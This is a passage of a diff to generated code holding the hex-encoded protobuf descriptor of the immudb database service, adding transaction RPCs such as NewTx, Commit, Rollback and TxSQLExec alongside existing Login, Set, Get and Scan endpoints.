0x1e, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x30, 0x01, 0x12, 0x5d, 0x0a, - 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, - 0x2a, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, 0x12, 0x4f, 0x0a, 0x06, - 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, + 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, + 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, - 0x2a, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, 0x01, 0x12, 0x4d, 0x0a, - 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, - 0x3a, 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x70, 0x0a, 0x0d, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, - 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x4d, - 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, - 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, - 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, - 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, - 0x65, 0x74, 0x12, 0x5d, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, - 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, - 0x01, 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x6b, 0x65, - 0x79, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, - 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, - 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, - 0x63, 0x61, 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, - 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, - 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, - 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, - 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, + 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, + 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, - 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, + 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, + 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4f, 0x0a, 0x0a, 0x54, + 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x30, 0x01, 0x12, 0x5d, 0x0a, 0x05, + 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x19, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, + 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x88, 0x02, 0x01, 0x12, 0x4f, 0x0a, 0x06, 0x4c, + 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, + 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, 0x01, 0x2a, + 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x88, 0x02, 0x01, 0x12, 0x4d, 0x0a, 0x03, + 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, - 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, - 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, - 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, - 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x3a, + 0x01, 0x2a, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x70, 0x0a, 0x0d, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x12, 0x4d, 0x0a, + 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, + 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f, + 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, + 0x74, 0x12, 0x5d, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, - 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, - 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, - 0x79, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x12, 0x55, - 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x14, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, + 0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x6b, 0x65, 0x79, + 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x22, 0x15, 0x82, 